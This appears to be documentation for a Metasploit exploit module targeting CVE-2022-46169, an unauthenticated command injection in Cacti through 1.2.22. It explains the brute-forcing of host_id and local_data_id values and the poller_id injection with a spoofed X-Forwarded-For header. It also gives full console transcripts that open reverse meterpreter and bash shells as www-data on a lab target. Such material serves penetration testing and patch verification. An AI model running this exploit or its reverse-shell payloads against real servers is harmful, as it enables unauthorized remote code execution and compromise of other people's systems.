## Vulnerable Application This module exploits an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in order to achieve unauthenticated remote code execution as the www-data user. The module first attempts to obtain the Cacti version to see if the target is affected. If `LOCAL_DATA_ID` and/or `HOST_ID` are not set, the module will try to bruteforce the missing value(s). For the bruteforce, the total number of possible requests is limited to 1,000. However, it is possible to set the range for the `local_data_id` and `host_id` values to try via the advanced options `MIN_HOST_ID` (default 1), `MAX_HOST_ID` (default 5), `MIN_LOCAL_DATA_ID` (default 1) and `MAX_LOCAL_DATA_ID` (default 100). If a valid combination is found, the module will use these to attempt exploitation. If `LOCAL_DATA_ID` and/or `HOST_ID` are both set, the module will immediately attempt exploitation. The bruteforce attempt can have three possible outcomes: - Failure: No vulnerable `host_id` and `local_data_id` are found. - Success: A `host_id` and `local_data_id` combination is found that is positively identified as vulnerable. The module determines this by comparing the `rrd_name` returned by the server to a list of data sources known to be vulnerable. - Indeterminate: The module identified several `host_id` and `local_data_id` combinations for which the server returns an empty `rrd_name` value. Many data sources in Cacti do not have an `rrd_name` value, some of which are vulnerable. In this case, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it. Instead of trying to exploit all potentially vulnerable `host_id` and `local_data_id` combinations without an `rrd_name`, the module stores these. When the bruteforce attempt finishes with an indeterminate outcome, the list of potentially vulnerable `host_id` and `local_data_id` combinations is printed to the console. The user can then manually verify if any of these combinations are actually exploitable by using them to set the `HOST_ID` and `LOCAL_DATA_ID` options. During exploitation, the module sends a GET request to `/remote_agent.php` with the action parameter set to `polldata` and the `X-Forwarded-For` header set to the provided value for `X_FORWARDED_FOR_IP` (by default `127.0.0.1`). In addition, the `poller_id` parameter is set to the payload and the `host_id` and `local_data_id` parameters are set to the bruteforced or provided values. If `X_FORWARDED_FOR_IP` is set to an address that is resolvable to a hostname in the poller table, and the `local_data_id` and `host_id` values are vulnerable, the payload set for `poller_id` will be executed by the target. This module has been successfully tested against Cacti version 1.2.22 running on Ubuntu 21.10 (vulhub docker image) ## Installation Information Cacti is open source, and vulnerable versions can be obtained from the official GitHub repository under [releases](https://github.com/Cacti/cacti/releases). As a shortcut, a vulhub entry is available [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169) that allows you to spin up a vulnerable instance via a single docker-compose command. The vulhub page also contains instructions for how to complete the Cacti installation, how to make it vulnerable, and a PoC. Additional details about the exploit are available [here](https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf) ## Verification Steps 1. Start msfconsole 2. Do: `use exploit/linux/http/cacti_unauthenticated_cmd_injection` 3. Do: `set RHOSTS [IP]` 4. Do: `set LHOST [IP]` 4. Do: `set SRVHOST [IP]` 5. Do: `exploit` ## Options ### TARGETURI The base path to Cacti. The default value is `/`. ### HOST_ID The `host_id` value to use. By default, the module will try to bruteforce this. ### LOCAL_DATA_ID The `local_data_id` value to use. By default, the module will try to bruteforce this. ### X_FORWARDED_FOR_IP The IP to use in the `X-Forwarded-For` HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1 ## Advanced Options ### MIN_HOST_ID Lower value for the range of possible `host_id` values to check for. Default: 1 ### MAX_HOST_ID Upper value for the range of possible `host_id` values to check for. Default: 5 ### MIN_LOCAL_DATA_ID Lower value for the range of possible local_data_id values to check for. Default: 1 ### MAX_LOCAL_DATA_ID Upper value for the range of possible local_data_id values to check for. Default: 100 ## Targets ``` Id Name -- ---- 0 Automatic (Unix In-Memory) 1 Automatic (Linux Dropper) ``` ## Scenarios ### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce) ``` msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- HOST_ID no The host_id value to use. By default, the module will try to bruteforce this. LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this. Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 8080 yes The target port (TCP) SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add resses. SRVPORT 9090 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The base path to Cacti URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.91.195 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Automatic (Linux Dropper) View the full module info with the info, or info -d command. msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. The target is Cacti version 1.2.22 [*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 505 combinations [*] Enumerating local_data_id values for host_id 1 [*] Performing request 25... [*] Performing request 50... [*] Performing request 75... [+] Found exploitable local_data_id 180 for host_id 1 [*] Sending stage (1017704 bytes) to 10.18.0.3 [*] Command Stager progress - 100.00% done (773/773 bytes) [*] Meterpreter session 1 opened (192.168.91.195:4444 -> 10.18.0.3:45322) at 2022-12-22 16:43:59 +0200 meterpreter > getuid Server username: www-data ``` ### Cacti 1.2.22 - Unix In-Memory - HOST_ID and LOCAL_DATA_ID set (immediate exploitation) ``` msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- HOST_ID 1 no The host_id value to use. By default, the module will try to bruteforce this. LOCAL_DATA_ID 182 no The local_data_id value to use. By default, the module will try to bruteforce this. Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 8080 yes The target port (TCP) SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add resses. SRVPORT 9090 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The base path to Cacti URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table. Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.91.195 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic (Unix In-Memory) View the full module info with the info, or info -d command. msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. The target is Cacti version 1.2.22 [*] Executing the payload. This may take a few seconds... [*] Command shell session 1 opened (192.168.91.195:4444 -> 10.18.0.3:50802) at 2022-12-22 16:51:46 +0200 uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce with undetermined result, then manual exploitation) ``` msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- HOST_ID no The host_id value to use. By default, the module will try to bruteforce this. LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this. Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 8080 yes The target port (TCP) SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add resses. SRVPORT 9090 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The base path to Cacti URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.91.195 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Automatic (Linux Dropper) View the full module info with the info, or info -d command. msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. The target is Cacti version 1.2.22 [*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations [*] Enumerating local_data_id values for host_id 1 [*] Performing request 25... [*] Performing request 50... [*] Performing request 75... [*] Performing request 100... [*] Enumerating local_data_id values for host_id 2 [*] Performing request 125... [*] Performing request 150... [*] Performing request 175... [*] Performing request 200... [*] Enumerating local_data_id values for host_id 3 [*] Performing request 225... [*] Performing request 250... [*] Performing request 275... [*] Performing request 300... [*] Enumerating local_data_id values for host_id 4 [*] Performing request 325... [*] Performing request 350... [*] Performing request 375... [*] Performing request 400... [*] Enumerating local_data_id values for host_id 5 [*] Performing request 425... [*] Performing request 450... [*] Performing request 475... [*] Performing request 500... [!] Identified 15 host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such: host_id: 1 - local_data_id: 156 host_id: 1 - local_data_id: 157 host_id: 1 - local_data_id: 158 host_id: 1 - local_data_id: 164 host_id: 1 - local_data_id: 166 host_id: 1 - local_data_id: 167 host_id: 1 - local_data_id: 168 host_id: 1 - local_data_id: 169 host_id: 1 - local_data_id: 170 host_id: 1 - local_data_id: 173 host_id: 1 - local_data_id: 174 host_id: 1 - local_data_id: 175 host_id: 1 - local_data_id: 176 host_id: 1 - local_data_id: 177 host_id: 1 - local_data_id: 178 [*] You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options [-] Exploit aborted due to failure: no-target: Failed to identify an exploitable host_id - local_data_id combination. [*] Exploit completed, but no session was created. msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1 host_id => 1 msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set local_data_id 156 local_data_id => 156 msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. The target is Cacti version 1.2.22 [*] Sending stage (1017704 bytes) to 10.18.0.3 [*] Command Stager progress - 100.00% done (773/773 bytes) [*] Meterpreter session 2 opened (192.168.91.195:4444 -> 10.18.0.3:54964) at 2022-12-22 16:56:42 +0200 meterpreter > getuid Server username: www-data ```